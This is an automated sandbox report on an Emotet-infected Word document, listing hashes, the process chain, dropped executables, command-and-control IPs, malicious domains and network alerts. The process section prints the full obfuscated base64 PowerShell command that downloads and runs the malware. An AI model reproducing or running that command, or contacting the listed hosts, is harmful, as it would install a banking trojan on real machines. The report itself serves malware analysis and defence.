analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

trust.accounts.docs.net

Full analysis: https://app.any.run/tasks/7826815f-a015-479b-8944-dcb82b791c85
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: March 14, 2019, 07:19:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
emotet
trojan
feodo
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Mar 13 20:55:00 2019, Last Saved Time/Date: Wed Mar 13 20:55:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 5, Security: 0
MD5:

FCC953AE9ABC93FA28C65D4583448B28

SHA1:

A4383DA827CC548A57F37275F68F134195FEF5A5

SHA256:

459397A134B2B4A201C2855BBB2ED4D1EEDA9CC7637D7C65201E0A78217A8780

SSDEEP:

6144:A77HUUUUUUUUUUUUUUUUUUUT52VSJPCt3AdjZwOZ6:A77HUUUUUUUUUUUUUUUUUUUTCiZZ6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 100.exe (PID: 2792)
      • wabmetagen.exe (PID: 3476)
      • 100.exe (PID: 4008)
      • wabmetagen.exe (PID: 2272)
      • xN4HjKBr1xkYnag.exe (PID: 2284)
      • xN4HjKBr1xkYnag.exe (PID: 3448)
      • wabmetagen.exe (PID: 3932)
      • wabmetagen.exe (PID: 2784)
    • Emotet process was detected

      • wabmetagen.exe (PID: 3476)
      • wabmetagen.exe (PID: 3932)
    • EMOTET was detected

      • wabmetagen.exe (PID: 2272)
    • Changes the autorun value in the registry

      • wabmetagen.exe (PID: 2272)
    • Connects to CnC server

      • wabmetagen.exe (PID: 2272)
  • SUSPICIOUS

    • Application launched itself

      • 100.exe (PID: 2792)
      • wabmetagen.exe (PID: 3476)
      • xN4HjKBr1xkYnag.exe (PID: 3448)
      • wabmetagen.exe (PID: 3932)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2800)
      • 100.exe (PID: 4008)
      • wabmetagen.exe (PID: 2272)
      • xN4HjKBr1xkYnag.exe (PID: 2284)
    • Creates files in the user directory

      • powershell.exe (PID: 2800)
    • Starts itself from another location

      • 100.exe (PID: 4008)
      • xN4HjKBr1xkYnag.exe (PID: 2284)
    • Connects to unusual port

      • wabmetagen.exe (PID: 2272)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2872)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2872)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 5
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 5
Words: -
Pages: 1
ModifyDate: 2019:03:13 20:55:00
CreateDate: 2019:03:13 20:55:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: -
Keywords: -
Author: -
Subject: -
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
10
Malicious processes
8
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start winword.exe no specs powershell.exe 100.exe no specs 100.exe #EMOTET wabmetagen.exe no specs #EMOTET wabmetagen.exe xn4hjkbr1xkynag.exe no specs xn4hjkbr1xkynag.exe #EMOTET wabmetagen.exe no specs wabmetagen.exe

Process information

PID
CMD
Path
Indicators
Parent process
2872"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\trust.accounts.docs.net.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2800powershell -e IAAuACAAKAAoAGcAZQBUAC0AdgBBAFIAaQBBAEIAbABFACAAKAAnACoAbQBkACcAKwAnAFIAKgAnACkAKQAuAG4AYQBNAEUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQAoACAAbgBFAFcALQBvAGIAagBlAEMAdAAgAHMAWQBTAFQARQBNAC4ASQBvAC4AcwB0AFIAZQBBAE0AcgBFAGEAZABlAHIAKAAoACAAbgBFAFcALQBvAGIAagBlAEMAdAAgACAAaQBPAC4AYwBPAE0AUAByAGUAcwBTAEkAbwBOAC4AZABlAGYAbABBAHQAZQBzAFQAcgBlAEEAbQAoAFsAUwBZAFMAVABFAG0ALgBJAG8ALgBNAEUAbQBvAHIAWQBTAFQAcgBFAEEAbQBdAFsAcwBZAHMAdABFAG0ALgBDAG8ATgBWAGUAcgB0AF0AOgA6AEYAcgBvAE0AYgBhAHMAZQA2ADQAUwBUAHIAaQBuAEcAKAAgACgAJwBYACcAKwAnAFoAJwArACcARgBSACcAKwAnAGIAJwArACcANQBzAHcARgBJACcAKwAnAFgALwBpAGgAJwArACcAKwBRAG4AQwAnACsAJwBnACcAKwAnAEwAJwArACcAaABEAGEAJwArACcAZAB0AGkASwAnACsAJwBrADMAbwBCAEcAJwArACcAMAAzAFMAVAAyACcAKwAnAGcAZwAnACsAJwB0AHEAaQAnACsAJwBaAFYAagAnACsAJwByAGsAQgBGADcAJwArACcAQQBSAE8ATwBBADEAeQBuACcAKwAnACsAJwArACcAZgBsADcAWABMACcAKwAnAE4AJwArACcATAAvACcAKwAnADQAMgB2AHAAOAA3ACcAKwAnAHIAbgBIAFQAdgAnACsAJwBJAEEAJwArACcAQQAnACsAJwBHAGwAJwArACcASQBVADQAZwAnACsAJwBUACcAKwAnAFcAJwArACcAOQBIACcAKwAnAEEASwBSADgAMgAnACsAJwA4ACcAKwAnAFEAQwAnACsAJwBoAHgARwBHACcAKwAnAHEAdAAnACsAJwBpAC8ASQBOAGYAJwArACcAbQAnACsAJwBHADIAdgAyAE8AJwArACcAMgAnACsAJwA2AGcAUwBLAEgAWAAnACsAJwBnAE0AJwArACcARQBqAEEAdwBGAE4ASQAnACsAJwBDADYAMgAnACsAJwBiACcAKwAnADcAJwArACcAdAByAHoAQgAnACsAJwB0AHkAeQAnACsAJwBpAGsAbQBXAEMAWgBlACcAKwAnAHIAMgAnACsAJwB0AHQAZgAnACsAJwA1ACcAKwAnAE8AcAAnACsAJwBLACcAKwAnAHoATAAzAGIAcAAnACsAJwBiAHEANwA5AEcANwBlAHEAUQBKACcAKwAnAGIAbwBWAG0ATwBOACcAKwAnAGIAJwArACcATwA3AHEATABIAEQAJwArACcAdABoAGMAJwArACcAYwB1ADkAJwArACcATwBiAG8AZgAnACsAJwBHAGEAMQAnACsAJwBXAHIAJwArACcAOQArAFkAeABiADAAYQAnACsAJwA1AEIAJwArACcAegBEAFQAeQAnACsAJwA0ACcAKwAnAG8AUQBJACcAKwAnAHYAJwArACcAeQAnACsAJwB4AG4AUgBuAGgAVgBmADMAJwArACcARwBtAG0AcABmAHkAVQBzAGgATQA2AFoAWQAnACsAJwBKAEsAJwArACcAVwBSACcAKwAnACsASQBqAHUAVQBtAFoARAAnACsAJwBjADYAKwBQAEgAMQB6ACcAKwAnACsAbwAnACsAJwBKAGYAJwArACcAVwAnACsAJwArAEwAVwB2ACcAKwAnAE0AJwArACcAbQBTAHQAUgAyADMAWgBUAHIAcQBTADIANAAzAGkAZgBHAHYAWABSAG8AJwArACcAKwA2ADYAcQBZACcAKwAnAFEAZQAwACcAKwAnAFIAcwA2ACcAKwAnAEQAcAB4AGIAVQBDACcAKwAnAFoAVwBJAFkAWABGAFkARAAnACsAJwBhAG4AVABDAEoAJwArACcAZQArAGkAJwArACcAWQBsAEkAYQBIACsAYgAnACsAJwBHAGIAUABlAG8AJwArACcAZwAnACsAJwBpACcAKwAnAEEARAArAGsAQQA4AEEAJwArACcAYwB3AEMAaAA3AGQAKwA4AC8AJwArACcAMgB3ACcAKwAnAEIATABQACcAKwAnADMAUgAnACsAJwBRACcAKwAnADkAJwArACcAdABkADcAJwArACcATwAxACcAKwAnADcAVAAnACsAJwBxAHAAMgBvAGMARQBKAC8AMABNAG0AJwArACcAYgB4AEkAUwA2ACcAKwAnAGEAJwArACcASgBBAEcAJwArACcATwAnACsAJwA5AFUAaQA0ADgAWABJAFcAYwBFACcAKwAnAHoAeABBAHEAQQBDACcAKwAnAEUAbgBlAGsAJwArACcAeAAnACsAJwAwAGYAJwArACcAZABQAHYAJwArACcAegA4AFAAWQBSACcAKwAnAGIAcQAnACsAJwB3AEcAVwBTACcAKwAnAG0AVwBmACcAKwAnAGIARgBTAFoALwA0ACcAKwAnAEQAJwArACcAKwBkACcAKwAnAHYAUQBPAG4ANAAxACcAKwAnAG8AQgBKACcAKwAnAFkAJwArACcASgBDAEYAOQBUAEIAZgBsAGIAJwArACcAOAB2AEwASABSAG0ATgBFACcAKwAnAHQAVAAnACsAJwBUAHAAJwArACcAYwBiADYASAAnACsAJwA5AGEAJwArACcAdABVAE8AYQA2AEkATgBNAGMAJwArACcAeQBYAHgAbQAxACcAKwAnADUAZwBjAGwAJwArACcAcgBKAFgASgBmADUASAAnACsAJwBCAHMANAAnACsAJwBkAHQANABXACcAKwAnAEoAUQB2ACcAKwAnAG8AVgAwAGcAJwArACcAMwB3AGoAJwArACcAYQAnACsAJwBIAEIAMQByAG8AdQAnACsAJwBnACsATwBSAE0AJwArACcAOAAyAEwAdwAvAEgAbwByAEgAMQA0AFcAdgBDAFEAMwBxAGMAbQBHAFMAJwArACcAQwAnACsAJwBoAHcAUwAnACsAJwA4AD0AJwApACAAKQAgACwAWwBzAFkAUwB0AGUATQAuAGkATwAuAGMAbwBtAFAAUgBFAFMAcwBpAG8AbgAuAGMAbwBtAHAAcgBFAFMAcwBJAG8ATgBtAG8ARABFAF0AOgA6AEQAZQBjAG8AbQBQAFIAZQBzAFMAIAApACAAKQAgACwAIABbAFQARQBYAFQALgBlAE4AYwBvAEQAaQBuAGcAXQA6ADoAQQBzAEMASQBJACkAKQAuAFIARQBBAGQAdABPAEUAbgBEACgAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2792"C:\Users\admin\100.exe" C:\Users\admin\100.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\100.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
4008"C:\Users\admin\100.exe"C:\Users\admin\100.exe
100.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\100.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3476"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
100.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2272"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3448"C:\Users\admin\AppData\Local\wabmetagen\xN4HjKBr1xkYnag.exe"C:\Users\admin\AppData\Local\wabmetagen\xN4HjKBr1xkYnag.exewabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\xn4hjkbr1xkynag.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2284"C:\Users\admin\AppData\Local\wabmetagen\xN4HjKBr1xkYnag.exe"C:\Users\admin\AppData\Local\wabmetagen\xN4HjKBr1xkYnag.exe
xN4HjKBr1xkYnag.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\xn4hjkbr1xkynag.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3932"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
xN4HjKBr1xkYnag.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Exit code:
0
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2784"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe"C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe
wabmetagen.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IIS Manager
Version:
7.5.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\wabmetagen\wabmetagen.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
1 738
Read events
1 311
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2872WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE41A.tmp.cvr
MD5:
SHA256:
2800powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TMYJ4X4R970CC4GIW8Q5.temp
MD5:
SHA256:
2800powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20ef17.TMPbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
2872WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D8FD8B8FAC0DBDE7F68D50F5FC3BAA32
SHA256:4B94FC7B43771EB8BEA914AFF6A56E0164499257C8CC334774EC155AAD143E4A
2800powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:2BCAD5DA21CB41B727ABDE7D6B6990B8
SHA256:AB1397E3A31059329829AE2164787589945B1459ED2E1B7328E86ED497A6F9F3
2872WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ust.accounts.docs.net.docpgc
MD5:B540C41AD2818150705C0184850B4F25
SHA256:7B8C1156D9EBF735B267E2AE9EFBD4321F9FBBEEEDEED6A3055C3F4BE051A6E1
2272wabmetagen.exeC:\Users\admin\AppData\Local\wabmetagen\xN4HjKBr1xkYnag.exeexecutable
MD5:8F6E02728AFC26217600A7AC9E2DC655
SHA256:9A077B9E0C7B01350684FFD0687723D9DA6912A8C932A4BB513931EA7FE50E2A
2800powershell.exeC:\Users\admin\100.exeexecutable
MD5:E59D80CF423DF7169CB63D68387D448A
SHA256:5FD755ADCBB39306061B3E627CDBF30FDDB063CF1122201EBEEB97DEDEF7B969
2284xN4HjKBr1xkYnag.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:8F6E02728AFC26217600A7AC9E2DC655
SHA256:9A077B9E0C7B01350684FFD0687723D9DA6912A8C932A4BB513931EA7FE50E2A
4008100.exeC:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exeexecutable
MD5:E59D80CF423DF7169CB63D68387D448A
SHA256:5FD755ADCBB39306061B3E627CDBF30FDDB063CF1122201EBEEB97DEDEF7B969
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
6
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2272
wabmetagen.exe
GET
181.198.203.150:443
http://181.198.203.150:443/
EC
malicious
2784
wabmetagen.exe
GET
181.198.203.150:443
http://181.198.203.150:443/
EC
malicious
2272
wabmetagen.exe
GET
200
152.171.65.137:8090
http://152.171.65.137:8090/
AR
binary
183 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2800
powershell.exe
185.93.71.204:443
webalanadi.com
Dgn Teknoloji A.s.
TR
malicious
2272
wabmetagen.exe
152.171.65.137:8090
CABLEVISION S.A.
AR
malicious
2272
wabmetagen.exe
181.198.203.150:443
Telconet S.A
EC
malicious
2800
powershell.exe
204.152.208.130:443
webspeedtech.com
QuadraNet, Inc
US
suspicious
2784
wabmetagen.exe
181.198.203.150:443
Telconet S.A
EC
malicious

DNS requests

Domain
IP
Reputation
webalanadi.com
  • 185.93.71.204
malicious
heritagemaritimeservices.com
unknown
webspeedtech.com
  • 204.152.208.130
unknown

Threats

PID
Process
Class
Message
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record type
2800
powershell.exe
Generic Protocol Command Decode
SURICATA TLS invalid record/traffic
2272
wabmetagen.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
1 ETPRO signatures available at the full report
No debug info